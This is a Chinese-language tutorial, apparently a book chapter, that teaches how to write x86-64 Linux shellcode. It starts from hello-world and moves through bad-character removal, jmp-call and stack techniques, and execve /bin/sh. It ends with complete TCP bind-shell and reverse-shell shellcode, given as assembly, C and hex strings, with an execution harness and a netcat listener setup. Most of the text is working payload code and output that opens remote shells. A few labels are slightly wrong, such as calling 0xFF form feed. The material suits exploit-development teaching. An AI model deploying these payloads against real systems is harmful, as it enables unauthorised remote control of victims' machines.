首先,让我们从 shellcode 是什么开始。正如我们之前已经看到的,shellcode 是一种可以作为有效载荷注入到堆栈溢出攻击中的机器码,可以从汇编语言中获得。
所以我们要做的很简单:将我们希望 shellcode 执行的操作以汇编形式写下来,然后进行一些修改,并将其转换为机器码。
让我们尝试制作一个 hello world 的 shellcode,并将可执行形式转换为机器码。我们需要使用objdump
命令:
$ objdump -D -M intel hello-world
上述命令的输出如下截图所示:
你看到红色矩形框里面的是什么?这是我们 hello world 示例的机器码。但是我们需要将它转换成这种形式:\xff\xff\xff\xff
,其中ff
代表操作码。你可以手动逐行进行转换,但这可能有点乏味。我们可以使用一行代码自动完成:
$ objdump -M intel -D FILE-NAME | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
让我们尝试用我们的代码:
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上述命令的输出如下截图所示:
这是我们的机器语言:
\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a
接下来,我们可以使用以下代码来测试我们的机器:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
让我们编译并运行它:
$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out
上述命令的输出如下截图所示:
你可以从上面的输出中看到,我们的 shellcode 没有起作用。原因是其中有坏字符。这让我们进入下一节,讨论如何去除它们。
坏字符
坏字符是指可以破坏 shellcode 执行的字符,因为它们可能被解释为其他东西。
例如,考虑\x00
,它表示零值,但它将被解释为空终止符,并用于终止一个字符串。现在,为了证明这一点,让我们再看一下之前的代码:
"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";
当我们尝试执行它时,我们得到一个错误,Shellcode Length: 14
。如果你看第 15 个操作码,你会看到\x00
,它被解释为空终止符。
以下是坏字符的列表:
-
00
:这是零值或空终止符(\0
) -
0A
:这是换行符(\n
) -
FF
:这是换页符(\f
) -
0D
:这是回车符(\r
)
现在,如何从我们的 shellcode 中删除这些坏字符呢?实际上,我们可以使用我们在汇编中已经知道的知识来删除它们,比如选择一个寄存器的哪一部分应该取决于移动数据的大小。例如,如果我想将一个小值(比如15
)移动到 RAX,我们应该使用以下代码:
mov al, 15
或者,我们可以使用算术运算,例如将15
移动到 RAX 寄存器:
xor rax, rax
add rax, 15
让我们逐条查看我们的机器码:
第一条指令是mov rax, 1
,它包含0
,因为我们试图将1
字节(8 位)移动到 64 位寄存器。所以它会用零填充剩下的部分,我们可以使用mov al, 1
来修复这个问题,这样我们就将1
字节(8 位)移动到了 RAX 寄存器的 8 位部分;让我们确认一下:
global _start
section .text
_start:
mov al, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, length
syscall
mov rax, 60
mov rdi, 1
syscall
section .data
hello_world: db 'hello world',0xa
length: equ $-hello_world
现在,运行以下命令:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
上述命令的输出如下截图所示:
我们成功从第一条指令中删除了所有的坏字符。让我们尝试另一种方法,使用算术运算,比如加法或减法。
首先,我们需要使用xor
指令清除寄存器,xor rdi, rdi
。现在 RDI 寄存器包含零;我们将其值加1
,add rdi, 1
:
global _start
section .text
_start:
mov al, 1
xor rdi, rdi
add rdi, 1
mov rsi, hello_world
mov rdx, length
syscall
mov rax, 60
mov rdi, 1
syscall
section .data
hello_world: db 'hello world',0xa
length: equ $-hello_world
现在运行以下命令:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
上一个命令的输出显示在以下截图中:
我们也修复了这个。让我们修复所有这些,把移动hello world
字符串留到下一节:
global _start
section .text
_start:
mov al, 1
xor rdi, rdi
add rdi, 1
mov rsi, hello_world
xor rdx,rdx
add rdx,12
syscall
xor rax,rax
add rax,60
xor rdi,rdi
syscall
section .data
hello_world: db 'hello world',0xa
现在运行以下命令:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
上一个命令的输出显示在以下截图中:
我们设法从我们的 shellcode 中删除了所有的坏字符,这让我们需要处理在复制字符串时的地址。
相对地址技术
相对地址是相对于 RIP 寄存器的当前位置,相对值是一种非常好的技术,可以避免在汇编中使用硬编码地址。
我们怎么做到的?实际上,通过使用lea <destination>, [rel <source>]
,这个rel
指令将计算相对于 RIP 寄存器的源地址,这样做变得非常简单。
我们需要在代码本身之前定义我们的变量,这样就必须在 RIP 当前位置之前定义它;否则,它将是一个短值,寄存器的其余部分将填充为零,就像这样:
现在,让我们使用这种技术修改我们的 shellcode 来修复hello world
字符串的位置:
global _start
section .text
_start:
jmp code
hello_world: db 'hello world',0xa
code:
mov al, 1
xor rdi, rdi
add rdi, 1
lea rsi, [rel hello_world]
xor rdx,rdx
add rdx,12
syscall
xor rax,rax
add rax,60
xor rdi,rdi
syscall
现在运行以下命令:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
上一个命令的输出显示在以下截图中:
一点坏字符都没有!让我们尝试它作为一个 shellcode:
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上一个命令的输出显示在以下截图中:
现在让我们尝试使用我们的 C 代码编译并运行这个 shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\xeb\x0c\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x8d\x35\xe4\xff\xff\xff\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
现在运行以下命令:
$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out
上一个命令的输出显示在以下截图中:
成功了!现在,这是我们的第一个 shellcode。
让我们继续看看如何处理地址的更多技巧。
jmp-call 技术
现在,我们将讨论如何处理字符串地址的新技术,即jmp-call技术。
这种技术简单地首先使jmp
指令到我们想要移动到特定寄存器的字符串。之后,我们使用call
指令调用实际的代码,将字符串的地址推入堆栈,然后我们将地址弹出到那个寄存器中。看看下一个例子,完全理解这种技术:
global _start
section .text
_start:
jmp string
code:
pop rsi
mov al, 1
xor rdi, rdi
add rdi, 1
xor rdx,rdx
add rdx,12
syscall
xor rax,rax
add rax,60
xor rdi,rdi
syscall
string:
call code
hello_world: db 'hello world',0xa
现在运行以下命令:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
上一个命令的输出显示在以下截图中:
没有坏字符;现在让我们回顾一下我们做了什么。首先,我们执行了一个jmp
指令到字符串,然后我们使用call
指令调用了实际的代码,这将导致下一条指令被推入堆栈;让我们在 GDB 中看看这段代码:
$ gdb ./hello-world
$ set disassembly-flavor intel
$ break _start
$ run
$ stepi
上一个命令的输出显示在以下截图中:
下一条指令是使用call code
指令调用代码。注意堆栈中将会发生什么:
hello world
字符串的地址被推入堆栈,下一条指令是pop rsi
,它将hello world
字符串的地址从堆栈移动到 RSI 寄存器。
让我们尝试将其作为一个 shellcode:
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上一个命令的输出显示在以下截图中:
在 C 代码中实现相同的操作:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\xeb\x1f\x5e\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdc\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
让我们编译并运行它:
$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out
上一个命令的输出显示在以下截图中:
堆栈技术
在这里,我们将学习另一种使用堆栈处理地址的技术。这很简单,但我们有两个障碍。首先,我们只允许一次将 4 个字节推入堆栈的操作——我们将使用寄存器来帮助我们。其次,我们必须以相反的顺序将字符串推入堆栈——我们将使用 Python 来为我们做这件事。
让我们尝试解决第二个障碍。使用 Python,我将定义string = 'hello world\n'
,然后我将反转我的字符串,并使用string[::-1].encode('hex')
一行将其编码为hex
。接下来,我们将得到我们的反向编码字符串:
完成!现在,让我们尝试解决第一个障碍:
global _start
section .text
_start:
xor rax, rax
add rax, 1
mov rdi, rax
push 0x0a646c72
mov rbx, 0x6f57206f6c6c6548
push rbx
mov rsi, rsp
xor rdx, rdx
add rdx, 12
syscall
xor rax, rax
add rax, 60
xor rdi, rdi
syscall
首先,我们将 8 个字节推入堆栈。我们可以将其余的内容分成 4 字节推入堆栈的每个操作,但我们也可以使用寄存器一次移动 8 个字节,然后将该寄存器的内容推入堆栈:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上一个命令的输出显示在以下截图中:
让我们尝试将其用作 shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x68\x72\x6c\x64\x0a\x48\xbb\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x53\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
现在运行以下命令:
$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out
上一个命令的输出显示在以下截图中:
这也很容易。
在下一节中,我们将讨论如何使用execve
系统调用制作有用的 shellcode。
execve 系统调用
现在,我们将学习如何使用execve
制作有用的 shellcode。在继续之前,我们必须了解execve
系统调用是什么。它是一个用于执行程序或脚本的系统调用。让我们以使用 C 语言读取/etc/issue
文件的execve
的示例来说明。
首先,让我们看一下execve
的要求:
$ man 2 execve
上一个命令的输出显示在以下截图中:
正如它所说,第一个参数是我们要执行的程序。
第二个参数argv
是指向与我们要执行的程序相关的参数数组的指针。此外,argv
应该包含程序的名称。
第三个参数是envp
,其中包含我们想要传递给环境的任何参数,但我们可以将此参数设置为NULL
。
现在,让我们构建 C 代码来执行cat /etc/issue
命令:
#include <unistd.h>
int main()
{
char * const argv[] = {"cat","/etc/issue", NULL};
execve("/bin/cat", argv, NULL);
return 0;
}
让我们编译并运行它:
$ gcc execve.c
$ ./a.out
上一个命令的输出显示在以下截图中:
它给了我们/etc/issue
文件的内容,即Kali GNU/Linux Rolling \n \l
。
现在,让我们尝试使用execve
系统调用在汇编中执行/bin/sh
。在这里,我将使用堆栈技术;让我们一步一步地完成这段代码:
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
首先,我们需要在堆栈中使用NULL
作为分隔符。然后,我们将堆栈指针移动到 RDX 寄存器,以获取我们的第三个参数:
xor rax, rax
push rax
mov rdx, rsp
然后,我们需要将我们的路径/bin/sh
推入堆栈中,由于我们只有七个字节,而且我们不希望我们的代码中有任何零,让我们推入//bin/sh
或/bin//sh
。让我们反转这个字符串,并使用 Python 将其编码为hex
:
string ='//bin/sh'
string[::-1].encode('hex')
上一个命令的输出显示在以下截图中:
现在我们的字符串准备好了,让我们使用任何寄存器将其推入堆栈,因为它包含 8 个字节:
mov rbx, 0x68732f6e69622f2f
push rbx
让我们将 RSP 移动到 RDI 寄存器,以获取我们的第一个参数:
mov rdi, rsp
现在,我们需要推入另一个NULL
作为字符串分隔符,然后我们需要通过推入 RDI 内容(即我们字符串的地址)将一个指针推入堆栈。然后,我们将堆栈指针移动到 RDI 寄存器,以获取第二个参数:
push rax
push rdi
mov rsi,rsp
现在,所有我们的参数都准备好了;让我们获取execve
系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
上一个命令的输出显示在以下截图中:
execve
系统调用号是59
:
add rax, 59
syscall
让我们把我们的代码放在一起:
global _start
section .text
_start:
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
现在运行以下命令:
$ nasm -felf64 execve.nasm -o execve.o
$ ld execve.o -o execve $ ./execve
上一个命令的输出显示在以下截图中:
让我们将其转换为 shellcode:
$ objdump -M intel -D execve | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上一个命令的输出显示在以下截图中:
我们将使用 C 代码来注入我们的 shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
现在运行以下命令:
$ gcc -fno-stack-protector -z execstack execve.c
$ ./a.out
上一个命令的输出显示在以下截图中:
TCP 绑定 shell
现在,让我们进一步做一些真正有用的事情,即构建一个 TCP 绑定 shell。
TCP 绑定 shell 用于在一台机器(受害者)上设置服务器,并且该服务器正在等待来自另一台机器(攻击者)的连接,这允许另一台机器(攻击者)在服务器上执行命令。
首先,让我们看一下 C 语言中的绑定 shell,以了解它是如何工作的:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
int clientfd, sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET; //--> can be represented in
numeric as 2
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented
in numeric as 0 which means to bind to all interfaces
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
listen(sockfd, 1);
clientfd = accept(sockfd, NULL, NULL);
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
让我们把它分解成几部分来理解它是如何工作的:
sockfd = socket(AF_INET, SOCK_STREAM, 0);
首先,我们创建了一个套接字,它需要三个参数。第一个参数是定义协议族,即AF_INET
,代表 IPv4,可以用2
来表示。第二个参数是指定连接的类型,在这里,SOCK_STREAM
代表 TCP,可以用1
来表示。第三个参数是协议,设置为0
,告诉操作系统选择最合适的协议来使用。现在让我们找到socket
系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep socket
上述命令的输出显示在以下截图中:
从获得的输出中,socket
系统调用号是41
。
让我们在汇编中创建第一部分:
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
输出值,即sockfd
,将被存储在 RAX 寄存器中;让我们将其移到 RDI 寄存器中:
mov rdi, rax
现在到下一部分,即填充mysockaddr
结构以作为bind
函数的输入:
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = INADDR_ANY;
我们需要以指针的形式;而且,我们必须以相反的顺序推送到堆栈。
首先,我们推送0
来表示绑定到所有接口(4 字节)。
其次,我们以htons
形式推送端口(2 字节)。要将我们的端口转换为htons
,我们可以使用 Python:
这是我们的端口(1234
)以htons
形式(0xd204
)。
第三,我们推送值2
,表示AF_INET
(2 字节):
xor rax, rax
push rax
push word 0xd204
push word 0x02
有了我们的结构设置,让我们准备bind
函数:
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
bind
函数需要三个参数。第一个是sockfd
,已经存储在 RDI 寄存器中;第二个是我们的结构以引用的形式;第三个是我们结构的长度,即16
。现在剩下的是获取bind
系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep bind
上述命令的输出显示在以下截图中:
从上述截图中,我们可以看到bind
系统调用号是49
;让我们创建bind
系统调用:
mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall
现在,让我们设置listen
函数,它需要两个参数:
listen(sockfd, 1);
第一个参数是sockfd
,我们已经将其存储在 RDI 寄存器中。第二个参数是一个数字,表示服务器可以接受的最大连接数,在这里,它只允许一个。
现在,让我们获取listen
系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep listen
上述命令的输出显示在以下截图中:
现在,让我们构建bind
系统调用:
xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi
syscall
我们将继续下一个函数,即accept
:
clientfd = accept(sockfd, NULL, NULL);
accept
函数需要三个参数。第一个是sockfd
,同样,它已经存储在 RDI 寄存器中;我们可以将第二个和第三个参数设置为零。让我们获取accept
系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep accept
上述命令的输出显示在以下截图中:
xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall
accept
函数的输出,即clientfd
,将被存储在 RAX 寄存器中,所以让我们把它移到一个更安全的地方:
mov rbx, rax
执行dup2
系统调用:
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
现在,我们将执行它三次,将我们的文件描述符复制到stdin
,stdout
和stderr
,分别为(0
,1
,1
)。
dup2
系统调用需要两个参数。第一个参数是旧文件描述符,在我们的情况下是clientfd
。第二个参数是我们的新文件描述符(0
,1
,2
)。现在,让我们获取dup2
系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep dup2
上述命令的输出显示在以下截图中:
现在,让我们构建dup2
系统调用:
mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
然后,我们添加我们的execve
系统调用:
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
现在,一切都准备就绪;让我们把所有的部分放在一起写成一段代码:
global _start
section .text
_start:
;Socket syscall
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
; Save the sockfd in RDI Register
mov rdi, rax
;Creating the structure
xor rax, rax
push rax
push word 0xd204
push word 0x02
;Bind syscall
mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall
;Listen syscall
xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi
syscall
;Accept syscall
xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall
;Store clientfd in RBX register
mov rbx, rax
;Dup2 syscall to stdin
mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
;Dup2 syscall to stdout
xor rax,rax
add rax, 33
inc rsi
syscall
;Dup2 syscall to stderr
xor rax,rax
add rax, 33
inc rsi
syscall
;Execve syscall with /bin/sh
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
让我们汇编和链接它:
$ nasm -felf64 bind-shell.nasm -o bind-shell.o
$ ld bind-shell.o -o bind-shell
让我们将其转换为 shellcode:
$ objdump -M intel -D bind-shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上述命令的输出显示在以下截图中:
让我们将其注入到我们的 C 代码中:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc3\x48\x89\xdf\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
让我们编译并运行它:
$ gcc -fno-stack-protector -z execstack bind-shell.c
$ ./a.out
前面命令的输出显示在以下截图中:
现在我们的 shellcode 已经在工作并等待;让我们确认一下:
$ netstat -ntlp
前面命令的输出显示在以下截图中:
它现在在端口 1234
上监听;现在,从另一个终端窗口,启动 nc
:
$ nc localhost 1234
前面命令的输出显示在以下截图中:
现在,它已连接并等待我们的命令;让我们试试:
$ cat /etc/issue
前面命令的输出显示在以下截图中:
现在我们有了我们的第一个真正的 shellcode!
反向 TCP shell
在本节中,我们将创建另一个有用的 shellcode,即反向 TCP shell。反向 TCP shell 是绑定 TCP 的相反,因为受害者的机器再次建立与攻击者的连接。
首先,在 C 代码中让我们看一下它:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void)
{
int sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
connect(sockfd, (struct sockaddr *) &mysockaddr,
sizeof(mysockaddr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
首先,我们将在我们的受害者机器之一(Ubuntu)上编译并执行它。我们将在攻击机器(Kali)上设置一个监听器,然后 shell 将从 Ubuntu 连接回 Kali,通过在代码中添加 Kali 的 IP。
在 Kali 上使用 nc
命令或 netcat
工具设置一个监听器:
$ nc -lp 1234
在 Ubuntu 上,让我们编译并运行我们的 reverse-tcp
shellcode:
$ gcc reverse-tcp.c -o reverse-tcp
$ ./reverse-tcp
再次回到我的 Kali —— 我连接上了!
这就是简单的!
现在,让我们在汇编中构建一个反向 TCP shell,然后将其转换为一个 shellcode。
socket
函数与我们在绑定 TCP 中解释的一样。将 socket
的输出移动到 RDI 寄存器中:
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
mov rdi, rax
接下来是填充 mysockaddr
结构,除了我们必须以 32 位打包格式推出攻击者的 IP 地址。我们将使用 Python 来做到这一点:
所以我们的 IP 地址以 32 位打包格式是 01eea8c0
。
让我们构建我们的结构并将栈指针移动到 RSI:
xor rax, rax
push dword 0x01eea8c0
push word 0xd204
push word 0x02
mov rsi, rsp
现在,让我们构建 connect
函数:
connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
然后,运行以下命令:
$ man 2 connect
前面命令的输出显示在以下截图中:
connect
函数也接受三个参数。第一个参数是 sockfd
(来自 socket
函数的输出),存储在 RDI 寄存器中。第二个是我们结构的引用,存储在 RSI 寄存器中。第三个参数是我们结构的大小。
让我们获取 connect
系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep connect
前面命令的输出显示在以下截图中:
从获得的输出中,我们可以看到系统调用号是 42
。现在,让我们构建 connect
系统调用:
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall
现在,dup2
函数与之前的相同,只是第一个参数将是 sockfd
,它已经存储在 RDI 寄存器中;让我们也构建它:
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
现在是最后一部分,即 /bin/sh
的 execve
系统调用:
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
现在,让我们把它们打包在一起:
global _start
section .text
_start:
;Socket syscall
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
; Save the sockfd in RDI Register
mov rdi, rax
;Creating the structure
xor rax, rax
push dword 0x01eea8c0
push word 0xd204
push word 0x02
;Move stack pointer to RSI
mov rsi, rsp
;Connect syscall
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall
;Dup2 syscall to stdin
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
;Dup2 syscall to stdout
xor rax,rax
add rax, 33
inc rsi
syscall
;Dup2 syscall to stderr
xor rax,rax
add rax, 33
inc rsi
syscall
;Execve syscall with /bin/sh
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
让我们将其汇编和链接到我们的受害者机器上:
$ nasm -felf64 reverse-tcp.nasm -o reverse-tcp.o
$ ld reverse-tcp.o -o reverse-tcp
然后,在我们的攻击者机器上运行以下命令:
$ nc -lp 1234
然后,再回到我们的受害者机器并运行我们的代码:
$ ./reverse-tcp
然后,在我们的攻击者机器上,我们连接到了受害者机器(Ubuntu):
现在,让我们将其转换为一个 shellcode:
$ objdump -M intel -D reverse-tcp | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
前面命令的输出显示在以下截图中:
让我们将这个机器语言复制到我们的 C 代码中:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x68\xc0\xa8\xee\x01\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x2a\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
让我们在我们的受害者机器上编译它:
$ gcc -fno-stack-protector -z execstack reverse-tcp-shellcode.c -o reverse-tcp-shellcode
然后,在我们的攻击者机器上设置一个监听器:
$ nc -lp 1234
现在,在我们的受害者机器上设置一个监听器:
$ ./reverse-tcp-shellcode
